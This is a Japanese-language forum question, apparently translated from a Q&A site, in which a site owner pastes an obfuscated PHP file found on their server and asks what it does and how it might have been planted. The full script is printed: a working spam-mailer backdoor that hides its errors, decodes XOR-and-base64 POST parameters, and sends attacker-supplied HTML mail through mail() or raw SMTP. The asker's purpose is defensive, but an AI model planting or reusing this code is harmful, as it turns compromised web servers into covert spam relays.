7

まず、このコードが何をしようとしている可能性があるかについて簡単に説明していただけますか? 悪意があると推測しています。

次に、これらのファイルがサーバーに追加されないようにするために実行できる手順はありますか? 私の考えでは、誰かが ftp パスワードに対してブルート フォースを実行した可能性があるため、SFTP over FTP とより強力な ftp パスワードを使用していました。

それとも、誰かが悪意のあるコードを Web サイトのフォームに送信した可能性がありますが、私はその送信データをサニタイズしていませんか?

これが私が見つけたPHPコードです。

<?php
@error_reporting(0);
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
if (count($_POST) < 2) {
    die(PHP_OS . chr(49) . chr(48) . chr(43) . md5(0987654321));
}
$v5031e998 = false;
foreach (array_keys($_POST) as $v3c6e0b8a) {
    switch ($v3c6e0b8a[0]) {
        case chr(108):
            $vd56b6998 = $v3c6e0b8a;
            break;
        case chr(100):
            $v8d777f38 = $v3c6e0b8a;
            break;
        case chr(109):
            $v3d26b0b1 = $v3c6e0b8a;
            break;
        case chr(101);
            $v5031e998 = true;
            break;
    }
}
if ($vd56b6998 === '' || $v8d777f38 === '')
    die(PHP_OS . chr(49) . chr(49) . chr(43) . md5(0987654321));
$v619d75f8 = preg_split('/\,(\ +)?/', @ini_get('disable_functions'));
$v01b6e203 = @$_POST[$vd56b6998];
$v8d777f38 = @$_POST[$v8d777f38];
$v3d26b0b1 = @$_POST[$v3d26b0b1];
if ($v5031e998) {
    $v01b6e203 = n9a2d8ce3($v01b6e203);
    $v8d777f38 = n9a2d8ce3($v8d777f38);
    $v3d26b0b1 = n9a2d8ce3($v3d26b0b1);
}
$v01b6e203 = urldecode(stripslashes($v01b6e203));
$v8d777f38 = urldecode(stripslashes($v8d777f38));
$v3d26b0b1 = urldecode(stripslashes($v3d26b0b1));
if (strpos($v01b6e203, ';', 1) != false) {
    list($va3da707b, $vbfbb12dc, $v081bde0c) = preg_split('/;/', strtolower($v01b6e203));
    $va3da707b = ucfirst($va3da707b);
    $vbfbb12dc = ucfirst($vbfbb12dc);
    $v3a5939e4 = next(explode('@', $v081bde0c));
    if ($vbfbb12dc == '' || $va3da707b == '') {
        $vbfbb12dc = $va3da707b = '';
        $v01b6e203 = $v081bde0c;
    } else {
        $v01b6e203 = "\"$va3da707b $vbfbb12dc\" <$v081bde0c>";
    }
} else {
    $vbfbb12dc = $va3da707b = '';
    $v081bde0c = strtolower($v01b6e203);
    $v3a5939e4 = next(explode('@', $v01b6e203));
}
preg_match('|<USER>(.*)</USER>|imsU', $v8d777f38, $vee11cbb1);
$vee11cbb1 = $vee11cbb1[1];
preg_match('|<NAME>(.*)</NAME>|imsU', $v8d777f38, $vb068931c);
$vb068931c = $vb068931c[1];
preg_match('|<SUBJ>(.*)</SUBJ>|imsU', $v8d777f38, $vc34487c9);
$vc34487c9 = $vc34487c9[1];
preg_match('|<SBODY>(.*)</SBODY>|imsU', $v8d777f38, $v6f4b5f42);
$v6f4b5f42 = $v6f4b5f42[1];
$vc34487c9 = str_replace("%R_NAME%", $va3da707b, $vc34487c9);
$vc34487c9 = str_replace("%R_LNAME%", $vbfbb12dc, $vc34487c9);
$v6f4b5f42 = str_replace("%R_NAME%", $va3da707b, $v6f4b5f42);
$v6f4b5f42 = str_replace("%R_LNAME%", $vbfbb12dc, $v6f4b5f42);
$v0897acf4 = preg_replace('/^(www|ftp)\./i', '', @$_SERVER['HTTP_HOST']);
if (ne667da76($v0897acf4) || @ini_get('safe_mode'))
    $v10497e3f = false;
else
    $v10497e3f = true;
if ($v10497e3f)
    $v9a5cb5d8 = "$vee11cbb1@$v0897acf4";
else
    $v9a5cb5d8 = "$vee11cbb1@[$v0897acf4]";
if ($vb068931c != '')
    $vd98a07f8 = "$vb068931c <$v9a5cb5d8>";
else
    $vd98a07f8 = $v9a5cb5d8;
$vb8ddc93f = "From: $vd98a07f8\r\n";
$vb8ddc93f .= "Reply-To: $vd98a07f8\r\n";
$v3c87b187 = "X-Priority: 3 (Normal)\r\n";
$v3c87b187 .= "MIME-Version: 1.0\r\n";
$v3c87b187 .= "Content-Type: text/html; charset=\"iso-8859-1\"\r\n";
$v3c87b187 .= "Content-Transfer-Encoding: 8bit\r\n";
if (!in_array('mail', $v619d75f8)) {
    if ($v10497e3f) {
        if (@mail($v01b6e203, $vc34487c9, $v6f4b5f42, $vb8ddc93f . $v3c87b187, "-f$v9a5cb5d8"))
            die(chr(79) . chr(75) . md5(1234567890) . "+0");
    } else {
        if (@mail($v01b6e203, $vc34487c9, $v6f4b5f42, $v3c87b187))
            die(chr(79) . chr(75) . md5(1234567890) . "+0");
    }
}
$v4340fd73 = "Date: " . @date("D, j M Y G:i:s O") . "\r\n" . $vb8ddc93f;
$v4340fd73 .= "Message-ID: <" . preg_replace('/(.{7})(.{5})(.{2}).*/', '$1-$2-$3', md5(time())) . "@$v0897acf4>\r\n";
$v4340fd73 .= "To: $v01b6e203\r\n";
$v4340fd73 .= "Subject: $vc34487c9\r\n";
$v4340fd73 .= $v3c87b187;
$v841a2d68 = $v4340fd73 . "\r\n" . $v6f4b5f42;
if ($v3d26b0b1 == '')
    $v3d26b0b1 = n9c812bad($v3a5939e4);
if (($vb4a88417 = n7b0ecdff($v9a5cb5d8, $v081bde0c, $v841a2d68, $v0897acf4, $v3d26b0b1)) == 0) {
    die(chr(79) . chr(75) . md5(1234567890) . "+1");
} else {
    echo PHP_OS . chr(50) . chr(48) . '+' . md5(0987654321) . "+$vb4a88417";
}
function ne667da76($v957b527b)
{
    return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/", $v957b527b);
}
function na73fa8bd($vb45cffe0, $v11a95b8a = 0, $v7fa1b685 = "=\r\n", $v92f21a0f = 0, $v3303c65a = false)
{
    $vf5a8e923 = strlen($vb45cffe0);
    $vb4a88417 = '';
    for ($v865c0c0b = 0; $v865c0c0b < $vf5a8e923; $v865c0c0b++) {
        if ($v11a95b8a >= 75) {
            $v11a95b8a = $v92f21a0f;
            $vb4a88417 .= $v7fa1b685;
        }
        $v4a8a08f0 = ord($vb45cffe0[$v865c0c0b]);
        if (($v4a8a08f0 == 0x3d) || ($v4a8a08f0 >= 0x80) || ($v4a8a08f0 < 0x20)) {
            if ((($v4a8a08f0 == 0x0A) || ($v4a8a08f0 == 0x0D)) && (!$v3303c65a)) {
                $vb4a88417 .= chr($v4a8a08f0);
                $v11a95b8a = 0;
                continue;
            }
            $vb4a88417 .= '=' . str_pad(strtoupper(dechex($v4a8a08f0)), 2, '0', STR_PAD_LEFT);
            $v11a95b8a += 3;
            continue;
        }
        $vb4a88417 .= chr($v4a8a08f0);
        $v11a95b8a++;
    }
    return $vb4a88417;
}
function n7b0ecdff($vd98a07f8, $v01b6e203, $v841a2d68, $v0897acf4, $v3d26b0b1)
{
    global $v619d75f8;
    if (!in_array('fsockopen', $v619d75f8))
        $v66b18866 = @fsockopen($v3d26b0b1, 25, $v70106d0d, $v809b1abe, 20);
    elseif (!in_array('pfsockopen', $v619d75f8))
        $v66b18866 = @pfsockopen($v3d26b0b1, 25, $v70106d0d, $v809b1abe, 20);
    elseif (!in_array('stream_socket_client', $v619d75f8) && function_exists("stream_socket_client"))
        $v66b18866 = @stream_socket_client("tcp://$v3d26b0b1:25", $v70106d0d, $v809b1abe, 20);
    else
        return -1;
    if (!$v66b18866) {
        return 1;
    } else {
        $v8d777f38 = n54070395($v66b18866);
        @fputs($v66b18866, "EHLO $v0897acf4\r\n");
        $ve98d2f00 = n54070395($v66b18866);
        if (substr($ve98d2f00, 0, 3) != 250)
            return "2+($v01b6e203)+" . preg_replace('/(\r\n|\r|\n)/', '|', $ve98d2f00);
        @fputs($v66b18866, "MAIL FROM:<$vd98a07f8>\r\n");
        $ve98d2f00 = n54070395($v66b18866);
        if (substr($ve98d2f00, 0, 3) != 250)
            return "3+($v01b6e203)+" . preg_replace('/(\r\n|\r|\n)/', '|', $ve98d2f00);
        @fputs($v66b18866, "RCPT TO:<$v01b6e203>\r\n");
        $ve98d2f00 = n54070395($v66b18866);
        if (substr($ve98d2f00, 0, 3) != 250 && substr($ve98d2f00, 0, 3) != 251)
            return "4+($v01b6e203)+" . preg_replace('/(\r\n|\r|\n)/', '|', $ve98d2f00);
        @fputs($v66b18866, "DATA\r\n");
        $ve98d2f00 = n54070395($v66b18866);
        if (substr($ve98d2f00, 0, 3) != 354)
            return "5+($v01b6e203)+" . preg_replace('/(\r\n|\r|\n)/', '|', $ve98d2f00);
        @fputs($v66b18866, $v841a2d68 . "\r\n.\r\n");
        $ve98d2f00 = n54070395($v66b18866);
        if (substr($ve98d2f00, 0, 3) != 250)
            return "6+($v01b6e203)+" . preg_replace('/(\r\n|\r|\n)/', '|', $ve98d2f00);
        @fputs($v66b18866, "QUIT\r\n");
        @fclose($v66b18866);
        return 0;
    }
}
function n54070395($v66b18866)
{
    $v8d777f38 = '';
    while ($v341be97d = @fgets($v66b18866, 4096)) {
        $v8d777f38 .= $v341be97d;
        if (substr($v341be97d, 3, 1) == ' ')
            break;
    }
    return $v8d777f38;
}
function n9c812bad($vad5f82e8)
{
    global $v619d75f8;
    if (!in_array('getmxrr', $v619d75f8) && function_exists("getmxrr")) {
        @getmxrr($vad5f82e8, $v744fa43b, $v6c5ea816);
        if (count($v744fa43b) === 0)
            return '127.0.0.1';
        $v865c0c0b = array_keys($v6c5ea816, min($v6c5ea816));
        return $v744fa43b[$v865c0c0b[0]];
    } else {
        return '127.0.0.1';
    }
}
function n9a2d8ce3($v1cb251ec)
{
    $v1cb251ec = base64_decode($v1cb251ec);
    $vc68271a6 = '';
    for ($v865c0c0b = 0; $v865c0c0b < strlen($v1cb251ec); $v865c0c0b++)
        $vc68271a6 .= chr(ord($v1cb251ec[$v865c0c0b]) ^ 2);
    return $vc68271a6;
}
?> 
4

0 に答える 0